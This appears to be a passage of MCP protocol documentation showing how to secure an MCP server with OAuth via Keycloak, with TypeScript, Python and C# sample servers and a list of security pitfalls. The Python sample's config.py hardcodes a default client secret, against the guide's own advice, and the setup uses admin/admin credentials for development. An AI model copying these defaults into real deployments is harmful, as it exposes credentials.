+ **No DCR or Pre-Registration**
+
+ In case an MCP client connects to an MCP server that doesn't use an authorization server that supports DCR and the client is not pre-registered with said authorization server, it's the responsibility of the client developer to provide an affordance for the end-user to enter client information manually.
+
+
+
+
+ The client will now need to open a browser to the `/authorize` endpoint, where the user can log in and grant the required permissions. The authorization server will then redirect back to the client with an authorization code that the client exchanges for tokens:
+
+ ```json theme={null}
+ {
+ "access_token": "eyJhbGciOiJSUzI1NiIs...",
+ "refresh_token": "def502...",
+ "token_type": "Bearer",
+ "expires_in": 3600
+ }
+ ```
+
+ The access token is what the client will use to authenticate requests to the MCP server. This step follows standard [OAuth 2.1 authorization code with PKCE](https://oauth.net/2/grant-types/authorization-code/) conventions.
+
+
+
+ Finally, the client can make requests to your MCP server using the access token embedded in the `Authorization` header:
+
+ ```http theme={null}
+ GET /mcp HTTP/1.1
+ Host: your-server.com
+ Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
+ ```
+
+ The MCP server will need to validate the token and process the request if the token is valid and has the required permissions.
+
+
+
+## Implementation Example
+
+To get started with a practical implementation, we will use a [Keycloak](https://www.keycloak.org/) authorization server hosted in a Docker container. Keycloak is an open-source authorization server that can be easily deployed locally for testing and experimentation.
+
+Make sure that you download and install [Docker Desktop](https://www.docker.com/products/docker-desktop/). We will need it to deploy Keycloak on our development machine.
+
+### Keycloak Setup
+
+From your terminal application, run the following command to start the Keycloak container:
+
+```bash theme={null}
+docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak start-dev
+```
+
+This command will pull the Keycloak container image locally and bootstrap the basic configuration. It will run on port `8080` and have an `admin` user with `admin` password.
+
+
+ **Not for Production**
+
+ The configuration above may be suitable for testing and experimentation; however, you should never use it in production. Refer to the [Configuring Keycloak for production](https://www.keycloak.org/server/configuration-production) guide for additional details on how to deploy the authorization server for scenarios that require reliability, security, and high availability.
+
+
+You will be able to access the Keycloak authorization server from your browser at `http://localhost:8080`.
+
+
+
+
+
+When running with the default configuration, Keycloak will already support many of the capabilities that we need for MCP servers, including Dynamic Client Registration. You can check this by looking at the OIDC configuration, available at:
+
+```http theme={null}
+http://localhost:8080/realms/master/.well-known/openid-configuration
+```
+
+We will also need to set up Keycloak to support our scopes and allow our host (local machine) to dynamically register clients, as the default policies restrict anonymous dynamic client registration.
+
+Go to **Client scopes** in the Keycloak dashboard and create a new `mcp:tools` scope. We will use this to access all of the tools on our MCP server.
+
+
+
+
+
+After creating the scope, make sure that you assign its type to **Default** and have flipped the **Include in token scope** switch, as this will be needed for token validation.
+
+Let's now also set up an **audience** for our Keycloak-issued tokens. An audience is important to configure because it embeds the intended destination directly into the issued access token. This helps your MCP server to verify that the token it got was actually meant for it rather than some other API. This is key to help avoid token passthrough scenarios.
+
+To do this, open your `mcp:tools` client scope and click on **Mappers**, followed by **Configure a new mapper**. Select **Audience**.
+
+
+
+
+
+For **Name**, use `audience-config`. Add a value for **Included Custom Audience**, set to `http://localhost:3000`. This will be the URI of our test server.
+
+
+ **Not for Production**
+
+ The audience configuration above is meant for testing. For production scenarios, additional set-up and configuration will be required to ensure that audiences are properly constrained for issued tokens. Specifically, the audience needs to be based on the resource parameter passed from the client, not a fixed value.
+
+
+Now, navigate to **Clients**, then **Client registration**, and then **Trusted Hosts**. Disable the **Client URIs Must Match** setting and add the hosts from which you're testing. You can get your current host IP by running the `ifconfig` command on Linux or macOS, or `ipconfig` on Windows. You can see the IP address you need to add by looking at the keycloak logs for a line that looks like `Failed to verify remote host : 192.168.215.1`. Check that the IP address is associated with your host. This may be for a bridge network depending on your docker setup.
+
+
+
+
+
+
+ **Getting the Host**
+
+ If you are running Keycloak from a container, you will also be able to see the host IP from the Terminal in the container logs.
+
+
+Lastly, we need to register a new client that we can use with the **MCP server itself** to talk to Keycloak for things like [token introspection](https://oauth.net/2/token-introspection/). To do that:
+
+1. Go to **Clients**.
+2. Click **Create client**.
+3. Give your client a unique **Client ID** and click **Next**.
+4. Enable **Client authentication** and click **Next**.
+5. Click **Save**.
+
+Worth noting that token introspection is just *one of* the available approaches to validate tokens. This can also be done with the help of standalone libraries, specific to each language and platform.
+
+When you open the client details, go to **Credentials** and take note of the **Client Secret**.
+
+
+
+
+
+
+ **Handling Secrets**
+
+ Never embed client credentials directly in your code. We recommend using environment variables or specialized solutions for secret storage.
+
+
+With Keycloak configured, every time the authorization flow is triggered, your MCP server will receive a token like this:
+
+```text theme={null}
+eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICI1TjcxMGw1WW5MWk13WGZ1VlJKWGtCS3ZZMzZzb3JnRG5scmlyZ2tlTHlzIn0.eyJleHAiOjE3NTU1NDA4MTcsImlhdCI6MTc1NTU0MDc1NywiYXV0aF90aW1lIjoxNzU1NTM4ODg4LCJqdGkiOiJvbnJ0YWM6YjM0MDgwZmYtODQwNC02ODY3LTgxYmUtMTIzMWI1MDU5M2E4IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy9tYXN0ZXIiLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAiLCJzdWIiOiIzM2VkNmM2Yi1jNmUwLTQ5MjgtYTE2MS1mMmY2OWM3YTAzYjkiLCJ0eXAiOiJCZWFyZXIiLCJhenAiOiI3OTc1YTViNi04YjU5LTRhODUtOWNiYS04ZmFlYmRhYjg5NzQiLCJzaWQiOiI4ZjdlYzI3Ni0zNThmLTRjY2MtYjMxMy1kYjA4MjkwZjM3NmYiLCJzY29wZSI6Im1jcDp0b29scyJ9.P5xCRtXORly0R0EXjyqRCUx-z3J4uAOWNAvYtLPXroykZuVCCJ-K1haiQSwbURqfsVOMbL7jiV-sD6miuPzI1tmKOkN_Yct0Vp-azvj7U5rEj7U6tvPfMkg2Uj_jrIX0KOskyU2pVvGZ-5BgqaSvwTEdsGu_V3_E0xDuSBq2uj_wmhqiyTFm5lJ1WkM3Hnxxx1_AAnTj7iOKMFZ4VCwMmk8hhSC7clnDauORc0sutxiJuYUZzxNiNPkmNeQtMCGqWdP1igcbWbrfnNXhJ6NswBOuRbh97_QraET3hl-CNmyS6C72Xc0aOwR_uJ7xVSBTD02OaQ1JA6kjCATz30kGYg
+```
+
+Decoded, it will look like this:
+
+```json theme={null}
+{
+ "alg": "RS256",
+ "typ": "JWT",
+ "kid": "5N710l5YnLZMwXfuVRJXkBKvY36sorgDnlrirgkeLys"
+}.{
+ "exp": 1755540817,
+ "iat": 1755540757,
+ "auth_time": 1755538888,
+ "jti": "onrtac:b34080ff-8404-6867-81be-1231b50593a8",
+ "iss": "http://localhost:8080/realms/master",
+ "aud": "http://localhost:3000",
+ "sub": "33ed6c6b-c6e0-4928-a161-f2f69c7a03b9",
+ "typ": "Bearer",
+ "azp": "7975a5b6-8b59-4a85-9cba-8faebdab8974",
+ "sid": "8f7ec276-358f-4ccc-b313-db08290f376f",
+ "scope": "mcp:tools"
+}.[Signature]
+```
+
+
+ **Embedded Audience**
+
+ Notice the `aud` claim embedded in the token - it's currently set to be the URI of the test MCP server and it's inferred from the scope that we've previously configured. This will be important in our implementation to validate.
+
+
+### MCP Server Setup
+
+We will now set up our MCP server to use the locally-running Keycloak authorization server. Depending on your programming language preference, you can use one of the supported [MCP SDKs](/docs/2025-11-25/sdk).
+
+For our testing purposes, we will create an extremely simple MCP server that exposes two tools - one for addition and another for multiplication. The server will require authorization to access these.
+
+
+
+ You can see the complete TypeScript project in the [sample repository](https://github.com/localden/min-ts-mcp-auth).
+
+ Prior to running the code below, ensure that you have a `.env` file with the following content:
+
+ ```env theme={null}
+ # Server host/port
+ HOST=localhost
+ PORT=3000
+
+ # Auth server location
+ AUTH_HOST=localhost
+ AUTH_PORT=8080
+ AUTH_REALM=master
+
+ # Keycloak OAuth client credentials
+ OAUTH_CLIENT_ID=
+ OAUTH_CLIENT_SECRET=
+ ```
+
+ `OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier.
+
+ In addition to implementing the MCP authorization specification, the server below also does token introspection via Keycloak to make sure that the token it receives from the client is valid. It also implements basic logging to allow you to easily diagnose any issues.
+
+ ```typescript theme={null}
+ import "dotenv/config";
+ import express from "express";
+ import { randomUUID } from "node:crypto";
+ import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+ import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js";
+ import { isInitializeRequest } from "@modelcontextprotocol/sdk/types.js";
+ import { z } from "zod";
+ import cors from "cors";
+ import {
+ mcpAuthMetadataRouter,
+ getOAuthProtectedResourceMetadataUrl,
+ } from "@modelcontextprotocol/sdk/server/auth/router.js";
+ import { requireBearerAuth } from "@modelcontextprotocol/sdk/server/auth/middleware/bearerAuth.js";
+ import { OAuthMetadata } from "@modelcontextprotocol/sdk/shared/auth.js";
+ import { checkResourceAllowed } from "@modelcontextprotocol/sdk/shared/auth-utils.js";
+ const CONFIG = {
+ host: process.env.HOST || "localhost",
+ port: Number(process.env.PORT) || 3000,
+ auth: {
+ host: process.env.AUTH_HOST || process.env.HOST || "localhost",
+ port: Number(process.env.AUTH_PORT) || 8080,
+ realm: process.env.AUTH_REALM || "master",
+ clientId: process.env.OAUTH_CLIENT_ID || "mcp-server",
+ clientSecret: process.env.OAUTH_CLIENT_SECRET || "",
+ },
+ };
+
+ function createOAuthUrls() {
+ const authBaseUrl = new URL(
+ `http://${CONFIG.auth.host}:${CONFIG.auth.port}/realms/${CONFIG.auth.realm}/`,
+ );
+ return {
+ issuer: authBaseUrl.toString(),
+ introspection_endpoint: new URL(
+ "protocol/openid-connect/token/introspect",
+ authBaseUrl,
+ ).toString(),
+ authorization_endpoint: new URL(
+ "protocol/openid-connect/auth",
+ authBaseUrl,
+ ).toString(),
+ token_endpoint: new URL(
+ "protocol/openid-connect/token",
+ authBaseUrl,
+ ).toString(),
+ };
+ }
+
+ function createRequestLogger() {
+ return (req: any, res: any, next: any) => {
+ const start = Date.now();
+ res.on("finish", () => {
+ const ms = Date.now() - start;
+ console.log(
+ `${req.method} ${req.originalUrl} -> ${res.statusCode} ${ms}ms`,
+ );
+ });
+ next();
+ };
+ }
+
+ const app = express();
+
+ app.use(
+ express.json({
+ verify: (req: any, _res, buf) => {
+ req.rawBody = buf?.toString() ?? "";
+ },
+ }),
+ );
+
+ app.use(
+ cors({
+ origin: "*",
+ exposedHeaders: ["Mcp-Session-Id"],
+ }),
+ );
+
+ app.use(createRequestLogger());
+
+ const mcpServerUrl = new URL(`http://${CONFIG.host}:${CONFIG.port}`);
+ const oauthUrls = createOAuthUrls();
+
+ const oauthMetadata: OAuthMetadata = {
+ ...oauthUrls,
+ response_types_supported: ["code"],
+ };
+
+ const tokenVerifier = {
+ verifyAccessToken: async (token: string) => {
+ const endpoint = oauthMetadata.introspection_endpoint;
+
+ if (!endpoint) {
+ console.error("[auth] no introspection endpoint in metadata");
+ throw new Error("No token verification endpoint available in metadata");
+ }
+
+ const params = new URLSearchParams({
+ token: token,
+ client_id: CONFIG.auth.clientId,
+ });
+
+ if (CONFIG.auth.clientSecret) {
+ params.set("client_secret", CONFIG.auth.clientSecret);
+ }
+
+ let response: Response;
+ try {
+ response = await fetch(endpoint, {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded",
+ },
+ body: params.toString(),
+ });
+ } catch (e) {
+ console.error("[auth] introspection fetch threw", e);
+ throw e;
+ }
+
+ if (!response.ok) {
+ const txt = await response.text();
+ console.error("[auth] introspection non-OK", { status: response.status });
+
+ try {
+ const obj = JSON.parse(txt);
+ console.log(JSON.stringify(obj, null, 2));
+ } catch {
+ console.error(txt);
+ }
+ throw new Error(`Invalid or expired token: ${txt}`);
+ }
+
+ let data: any;
+ try {
+ data = await response.json();
+ } catch (e) {
+ const txt = await response.text();
+ console.error("[auth] failed to parse introspection JSON", {
+ error: String(e),
+ body: txt,
+ });
+ throw e;
+ }
+
+ if (data.active === false) {
+ throw new Error("Inactive token");
+ }
+
+ if (!data.aud) {
+ throw new Error("Resource indicator (aud) missing");
+ }
+
+ const audiences: string[] = Array.isArray(data.aud) ? data.aud : [data.aud];
+ const allowed = audiences.some((a) =>
+ checkResourceAllowed({
+ requestedResource: a,
+ configuredResource: mcpServerUrl,
+ }),
+ );
+ if (!allowed) {
+ throw new Error(
+ `None of the provided audiences are allowed. Expected ${mcpServerUrl}, got: ${audiences.join(", ")}`,
+ );
+ }
+
+ return {
+ token,
+ clientId: data.client_id,
+ scopes: data.scope ? data.scope.split(" ") : [],
+ expiresAt: data.exp,
+ };
+ },
+ };
+ app.use(
+ mcpAuthMetadataRouter({
+ oauthMetadata,
+ resourceServerUrl: mcpServerUrl,
+ scopesSupported: ["mcp:tools"],
+ resourceName: "MCP Demo Server",
+ }),
+ );
+
+ const authMiddleware = requireBearerAuth({
+ verifier: tokenVerifier,
+ requiredScopes: [],
+ resourceMetadataUrl: getOAuthProtectedResourceMetadataUrl(mcpServerUrl),
+ });
+
+ const transports: { [sessionId: string]: StreamableHTTPServerTransport } = {};
+
+ function createMcpServer() {
+ const server = new McpServer({
+ name: "example-server",
+ version: "1.0.0",
+ });
+
+ server.registerTool(
+ "add",
+ {
+ title: "Addition Tool",
+ description: "Add two numbers together",
+ inputSchema: {
+ a: z.number().describe("First number to add"),
+ b: z.number().describe("Second number to add"),
+ },
+ },
+ async ({ a, b }) => ({
+ content: [{ type: "text", text: `${a} + ${b} = ${a + b}` }],
+ }),
+ );
+
+ server.registerTool(
+ "multiply",
+ {
+ title: "Multiplication Tool",
+ description: "Multiply two numbers together",
+ inputSchema: {
+ x: z.number().describe("First number to multiply"),
+ y: z.number().describe("Second number to multiply"),
+ },
+ },
+ async ({ x, y }) => ({
+ content: [{ type: "text", text: `${x} × ${y} = ${x * y}` }],
+ }),
+ );
+
+ return server;
+ }
+
+ const mcpPostHandler = async (req: express.Request, res: express.Response) => {
+ const sessionId = req.headers["mcp-session-id"] as string | undefined;
+ let transport: StreamableHTTPServerTransport;
+
+ if (sessionId && transports[sessionId]) {
+ transport = transports[sessionId];
+ } else if (!sessionId && isInitializeRequest(req.body)) {
+ transport = new StreamableHTTPServerTransport({
+ sessionIdGenerator: () => randomUUID(),
+ onsessioninitialized: (sessionId) => {
+ transports[sessionId] = transport;
+ },
+ });
+
+ transport.onclose = () => {
+ if (transport.sessionId) {
+ delete transports[transport.sessionId];
+ }
+ };
+
+ const server = createMcpServer();
+ await server.connect(transport);
+ } else {
+ res.status(400).json({
+ jsonrpc: "2.0",
+ error: {
+ code: -32000,
+ message: "Bad Request: No valid session ID provided",
+ },
+ id: null,
+ });
+ return;
+ }
+
+ await transport.handleRequest(req, res, req.body);
+ };
+
+ const handleSessionRequest = async (
+ req: express.Request,
+ res: express.Response,
+ ) => {
+ const sessionId = req.headers["mcp-session-id"] as string | undefined;
+ if (!sessionId || !transports[sessionId]) {
+ res.status(400).send("Invalid or missing session ID");
+ return;
+ }
+
+ const transport = transports[sessionId];
+ await transport.handleRequest(req, res);
+ };
+
+ app.post("/", authMiddleware, mcpPostHandler);
+ app.get("/", authMiddleware, handleSessionRequest);
+ app.delete("/", authMiddleware, handleSessionRequest);
+
+ app.listen(CONFIG.port, CONFIG.host, () => {
+ console.log(`🚀 MCP Server running on ${mcpServerUrl.origin}`);
+ console.log(`📡 MCP endpoint available at ${mcpServerUrl.origin}`);
+ console.log(
+ `🔐 OAuth metadata available at ${getOAuthProtectedResourceMetadataUrl(mcpServerUrl)}`,
+ );
+ });
+ ```
+
+ When you run the server, you can add it to your MCP client, such as Visual Studio Code, by providing the MCP server endpoint.
+
+ For more details about implementing MCP servers in TypeScript, refer to the [TypeScript SDK documentation](https://github.com/modelcontextprotocol/typescript-sdk).
+
+
+
+ You can see the complete Python project in the [sample repository](https://github.com/modelcontextprotocol/python-sdk/tree/main/examples/servers/simple-auth).
+
+ To simplify our authorization interaction, in Python scenarios we rely on [FastMCP](https://gofastmcp.com/getting-started/welcome). Many of the conventions around authorization, like the endpoints and token validation logic, are consistent across languages, but some offer simpler ways of integrating them in production scenarios.
+
+ Prior to writing the actual server, we need to set up our configuration in `config.py` - the contents are entirely based on your local server setup:
+
+ ```python theme={null}
+ """Configuration settings for the MCP auth server."""
+
+ import os
+ from typing import Optional
+
+
+ class Config:
+ """Configuration class that loads from environment variables with sensible defaults."""
+
+ # Server settings
+ HOST: str = os.getenv("HOST", "localhost")
+ PORT: int = int(os.getenv("PORT", "3000"))
+
+ # Auth server settings
+ AUTH_HOST: str = os.getenv("AUTH_HOST", "localhost")
+ AUTH_PORT: int = int(os.getenv("AUTH_PORT", "8080"))
+ AUTH_REALM: str = os.getenv("AUTH_REALM", "master")
+
+ # OAuth client settings
+ OAUTH_CLIENT_ID: str = os.getenv("OAUTH_CLIENT_ID", "mcp-server")
+ OAUTH_CLIENT_SECRET: str = os.getenv("OAUTH_CLIENT_SECRET", "UO3rmozkFFkXr0QxPTkzZ0LMXDidIikB")
+
+ # Server settings
+ MCP_SCOPE: str = os.getenv("MCP_SCOPE", "mcp:tools")
+ OAUTH_STRICT: bool = os.getenv("OAUTH_STRICT", "false").lower() in ("true", "1", "yes")
+ TRANSPORT: str = os.getenv("TRANSPORT", "streamable-http")
+
+ @property
+ def server_url(self) -> str:
+ """Build the server URL."""
+ return f"http://{self.HOST}:{self.PORT}"
+
+ @property
+ def auth_base_url(self) -> str:
+ """Build the auth server base URL."""
+ return f"http://{self.AUTH_HOST}:{self.AUTH_PORT}/realms/{self.AUTH_REALM}/"
+
+ def validate(self) -> None:
+ """Validate configuration."""
+ if self.TRANSPORT not in ["sse", "streamable-http"]:
+ raise ValueError(f"Invalid transport: {self.TRANSPORT}. Must be 'sse' or 'streamable-http'")
+
+
+ # Global configuration instance
+ config = Config()
+
+ ```
+
+ The server implementation is as follows:
+
+ ```python theme={null}
+ import datetime
+ import logging
+ from typing import Any
+
+ from pydantic import AnyHttpUrl
+
+ from mcp.server.auth.settings import AuthSettings
+ from mcp.server.fastmcp.server import FastMCP
+
+ from .config import config
+ from .token_verifier import IntrospectionTokenVerifier
+
+ logger = logging.getLogger(__name__)
+
+
+ def create_oauth_urls() -> dict[str, str]:
+ """Create OAuth URLs based on configuration (Keycloak-style)."""
+ from urllib.parse import urljoin
+
+ auth_base_url = config.auth_base_url
+
+ return {
+ "issuer": auth_base_url,
+ "introspection_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token/introspect"),
+ "authorization_endpoint": urljoin(auth_base_url, "protocol/openid-connect/auth"),
+ "token_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token"),
+ }
+
+
+ def create_server() -> FastMCP:
+ """Create and configure the FastMCP server."""
+
+ config.validate()
+
+ oauth_urls = create_oauth_urls()
+
+ token_verifier = IntrospectionTokenVerifier(
+ introspection_endpoint=oauth_urls["introspection_endpoint"],
+ server_url=config.server_url,
+ client_id=config.OAUTH_CLIENT_ID,
+ client_secret=config.OAUTH_CLIENT_SECRET,
+ )
+
+ app = FastMCP(
+ name="MCP Resource Server",
+ instructions="Resource Server that validates tokens via Authorization Server introspection",
+ host=config.HOST,
+ port=config.PORT,
+ debug=True,
+ streamable_http_path="/",
+ token_verifier=token_verifier,
+ auth=AuthSettings(
+ issuer_url=AnyHttpUrl(oauth_urls["issuer"]),
+ required_scopes=[config.MCP_SCOPE],
+ resource_server_url=AnyHttpUrl(config.server_url),
+ ),
+ )
+
+ @app.tool()
+ async def add_numbers(a: float, b: float) -> dict[str, Any]:
+ """
+ Add two numbers together.
+ This tool demonstrates basic arithmetic operations with OAuth authentication.
+
+ Args:
+ a: The first number to add
+ b: The second number to add
+ """
+ result = a + b
+ return {
+ "operation": "addition",
+ "operand_a": a,
+ "operand_b": b,
+ "result": result,
+ "timestamp": datetime.datetime.now().isoformat()
+ }
+
+ @app.tool()
+ async def multiply_numbers(x: float, y: float) -> dict[str, Any]:
+ """
+ Multiply two numbers together.
+ This tool demonstrates basic arithmetic operations with OAuth authentication.
+
+ Args:
+ x: The first number to multiply
+ y: The second number to multiply
+ """
+ result = x * y
+ return {
+ "operation": "multiplication",
+ "operand_x": x,
+ "operand_y": y,
+ "result": result,
+ "timestamp": datetime.datetime.now().isoformat()
+ }
+
+ return app
+
+
+ def main() -> int:
+ """
+ Run the MCP Resource Server.
+
+ This server:
+ - Provides RFC 9728 Protected Resource Metadata
+ - Validates tokens via Authorization Server introspection
+ - Serves MCP tools requiring authentication
+
+ Configuration is loaded from config.py and environment variables.
+ """
+ logging.basicConfig(level=logging.INFO)
+
+ try:
+ config.validate()
+ oauth_urls = create_oauth_urls()
+
+ except ValueError as e:
+ logger.error("Configuration error: %s", e)
+ return 1
+
+ try:
+ mcp_server = create_server()
+
+ logger.info("Starting MCP Server on %s:%s", config.HOST, config.PORT)
+ logger.info("Authorization Server: %s", oauth_urls["issuer"])
+ logger.info("Transport: %s", config.TRANSPORT)
+
+ mcp_server.run(transport=config.TRANSPORT)
+ return 0
+
+ except Exception:
+ logger.exception("Server error")
+ return 1
+
+
+ if __name__ == "__main__":
+ exit(main())
+ ```
+
+ Lastly, the token verification logic is delegated entirely to `token_verifier.py`, ensuring that we can use the Keycloak introspection endpoint to verify the validity of any credential artifacts
+
+ ```python theme={null}
+ """Token verifier implementation using OAuth 2.0 Token Introspection (RFC 7662)."""
+
+ import logging
+ from typing import Any
+
+ from mcp.server.auth.provider import AccessToken, TokenVerifier
+ from mcp.shared.auth_utils import check_resource_allowed, resource_url_from_server_url
+
+ logger = logging.getLogger(__name__)
+
+
+ class IntrospectionTokenVerifier(TokenVerifier):
+ """Token verifier that uses OAuth 2.0 Token Introspection (RFC 7662).
+ """
+
+ def __init__(
+ self,
+ introspection_endpoint: str,
+ server_url: str,
+ client_id: str,
+ client_secret: str,
+ ):
+ self.introspection_endpoint = introspection_endpoint
+ self.server_url = server_url
+ self.client_id = client_id
+ self.client_secret = client_secret
+ self.resource_url = resource_url_from_server_url(server_url)
+
+ async def verify_token(self, token: str) -> AccessToken | None:
+ """Verify token via introspection endpoint."""
+ import httpx
+
+ if not self.introspection_endpoint.startswith(("https://", "http://localhost", "http://127.0.0.1")):
+ return None
+
+ timeout = httpx.Timeout(10.0, connect=5.0)
+ limits = httpx.Limits(max_connections=10, max_keepalive_connections=5)
+
+ async with httpx.AsyncClient(
+ timeout=timeout,
+ limits=limits,
+ verify=True,
+ ) as client:
+ try:
+ form_data = {
+ "token": token,
+ "client_id": self.client_id,
+ "client_secret": self.client_secret,
+ }
+ headers = {"Content-Type": "application/x-www-form-urlencoded"}
+
+ response = await client.post(
+ self.introspection_endpoint,
+ data=form_data,
+ headers=headers,
+ )
+
+ if response.status_code != 200:
+ return None
+
+ data = response.json()
+ if not data.get("active", False):
+ return None
+
+ if not self._validate_resource(data):
+ return None
+
+ return AccessToken(
+ token=token,
+ client_id=data.get("client_id", "unknown"),
+ scopes=data.get("scope", "").split() if data.get("scope") else [],
+ expires_at=data.get("exp"),
+ resource=data.get("aud"), # Include resource in token
+ )
+
+ except Exception as e:
+ return None
+
+ def _validate_resource(self, token_data: dict[str, Any]) -> bool:
+ """Validate token was issued for this resource server.
+
+ Rules:
+ - Reject if 'aud' missing.
+ - Accept if any audience entry matches the derived resource URL.
+ - Supports string or list forms per JWT spec.
+ """
+ if not self.server_url or not self.resource_url:
+ return False
+
+ aud: list[str] | str | None = token_data.get("aud")
+ if isinstance(aud, list):
+ return any(self._is_valid_resource(a) for a in aud)
+ if isinstance(aud, str):
+ return self._is_valid_resource(aud)
+ return False
+
+ def _is_valid_resource(self, resource: str) -> bool:
+ """Check if the given resource matches our server."""
+ return check_resource_allowed(self.resource_url, resource)
+ ```
+
+ For more details, see the [Python SDK documentation](https://github.com/modelcontextprotocol/python-sdk).
+
+
+
+ You can see the complete C# project in the [sample repository](https://github.com/localden/min-cs-mcp-auth).
+
+ To set up authorization in your MCP server using the MCP C# SDK, you can lean on the standard ASP.NET Core builder pattern. Instead of using the introspection endpoint provided by Keycloak, we will use built-in ASP.NET Core capabilities for token validation.
+
+ ```csharp theme={null}
+ using Microsoft.AspNetCore.Authentication.JwtBearer;
+ using Microsoft.IdentityModel.Tokens;
+ using ModelContextProtocol.AspNetCore.Authentication;
+ using ProtectedMcpServer.Tools;
+ using System.Security.Claims;
+
+ var builder = WebApplication.CreateBuilder(args);
+
+ var serverUrl = "http://localhost:3000/";
+ var authorizationServerUrl = "http://localhost:8080/realms/master/";
+
+ builder.Services.AddAuthentication(options =>
+ {
+ options.DefaultChallengeScheme = McpAuthenticationDefaults.AuthenticationScheme;
+ options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
+ })
+ .AddJwtBearer(options =>
+ {
+ options.Authority = authorizationServerUrl;
+ var normalizedServerAudience = serverUrl.TrimEnd('/');
+ options.TokenValidationParameters = new TokenValidationParameters
+ {
+ ValidIssuer = authorizationServerUrl,
+ ValidAudiences = new[] { normalizedServerAudience, serverUrl },
+ AudienceValidator = (audiences, securityToken, validationParameters) =>
+ {
+ if (audiences == null) return false;
+ foreach (var aud in audiences)
+ {
+ if (string.Equals(aud.TrimEnd('/'), normalizedServerAudience, StringComparison.OrdinalIgnoreCase))
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+ };
+
+ options.RequireHttpsMetadata = false; // Set to true in production
+
+ options.Events = new JwtBearerEvents
+ {
+ OnTokenValidated = context =>
+ {
+ var name = context.Principal?.Identity?.Name ?? "unknown";
+ var email = context.Principal?.FindFirstValue("preferred_username") ?? "unknown";
+ Console.WriteLine($"Token validated for: {name} ({email})");
+ return Task.CompletedTask;
+ },
+ OnAuthenticationFailed = context =>
+ {
+ Console.WriteLine($"Authentication failed: {context.Exception.Message}");
+ return Task.CompletedTask;
+ },
+ };
+ })
+ .AddMcp(options =>
+ {
+ options.ResourceMetadata = new()
+ {
+ Resource = new Uri(serverUrl),
+ ResourceDocumentation = new Uri("https://docs.example.com/api/math"),
+ AuthorizationServers = { new Uri(authorizationServerUrl) },
+ ScopesSupported = ["mcp:tools"]
+ };
+ });
+
+ builder.Services.AddAuthorization();
+
+ builder.Services.AddHttpContextAccessor();
+ builder.Services.AddMcpServer()
+ .WithTools()
+ .WithHttpTransport();
+
+ var app = builder.Build();
+
+ app.UseAuthentication();
+ app.UseAuthorization();
+
+ app.MapMcp().RequireAuthorization();
+
+ Console.WriteLine($"Starting MCP server with authorization at {serverUrl}");
+ Console.WriteLine($"Using Keycloak server at {authorizationServerUrl}");
+ Console.WriteLine($"Protected Resource Metadata URL: {serverUrl}.well-known/oauth-protected-resource");
+ Console.WriteLine("Exposed Math tools: Add, Multiply");
+ Console.WriteLine("Press Ctrl+C to stop the server");
+
+ app.Run(serverUrl);
+ ```
+
+ For more details, see the [C# SDK documentation](https://github.com/modelcontextprotocol/csharp-sdk).
+
+
+
+## Testing the MCP Server
+
+For testing purposes, we will be using [Visual Studio Code](https://code.visualstudio.com), but any client that supports MCP and the new authorization specification will fit.
+
+Press Cmd + Shift + P and select **MCP: Add server...**. Select **HTTP** and enter `http://localhost:3000`. Give the server a unique name to be used inside Visual Studio Code. In `mcp.json` you should now see an entry like this:
+
+```json theme={null}
+"my-mcp-server-18676652": {
+ "url": "http://localhost:3000",
+ "type": "http"
+}
+```
+
+On connection, you will be taken to the browser, where you will be prompted to consent to Visual Studio Code having access to the `mcp:tools` scope.
+
+
+
+
+
+After consenting, you will see the tools listed right above the server entry in `mcp.json`.
+
+
+
+
+
+You will be able to invoke individual tools with the help of the `#` sign in the chat view.
+
+
+
+
+
+## Common Pitfalls and How to Avoid Them
+
+For comprehensive security guidance, including attack vectors, mitigation strategies, and implementation best practices, make sure to read through [Security Best Practices](/docs/2025-11-25/tutorials/security/security_best_practices). A few key issues are called out below.
+
+* **Do not implement token validation or authorization logic by yourself**. Use off-the-shelf, well-tested, and secure libraries for things like token validation or authorization decisions. Doing everything from scratch means that you're more likely to implement things incorrectly unless you are a security expert.
+* **Use short-lived access tokens**. Depending on the authorization server used, this setting might be customizable. We recommend to not use long-lived tokens - if a malicious actor steals them, they will be able to maintain their access for longer periods.
+* **Always validate tokens**. Just because your server received a token does not mean that the token is valid or that it's meant for your server. Always verify that what your MCP server is getting from the client matches the required constraints.
+* **Store tokens in secure, encrypted storage**. In certain scenarios, you might need to cache tokens server-side. If that is the case, ensure that the storage has the right access controls and cannot be easily exfiltrated by malicious parties with access to your server. You should also implement robust cache eviction policies to ensure that your MCP server is not re-using expired or otherwise invalid tokens.
+* **Enforce HTTPS in production**. Do not accept tokens or redirect callbacks over plain HTTP except for `localhost` during development.
+* **Least-privilege scopes**. Don't use catch‑all scopes. Split access per tool or capability where possible and verify required scopes per route/tool on the resource server.
+* **Don't log credentials**. Never log `Authorization` headers, tokens, codes, or secrets. Scrub query strings and headers. Redact sensitive fields in structured logs.
+* **Separate app vs. resource server credentials**. Don't reuse your MCP server's client secret for end‑user flows. Store all secrets in a proper secret manager, not in source control.
+* **Return proper challenges**. On 401, include `WWW-Authenticate` with `Bearer`, `realm`, and `resource_metadata` so clients can discover how to authenticate.
+* **DCR (Dynamic Client Registration) controls**. If enabled, be aware of constraints specific to your organization, such as trusted hosts, required vetting, and audited registrations. Unauthenticated DCR means that anyone can register any client with your authorization server.
+* **Multi‑tenant/realm mix-ups**. Pin to a single issuer/tenant unless explicitly multi‑tenant. Reject tokens from other realms even if signed by the same authorization server.
+* **Audience/resource indicator misuse**. Don't configure or accept generic audiences (like `api`) or unrelated resources. Require the audience/resource to match your configured server.
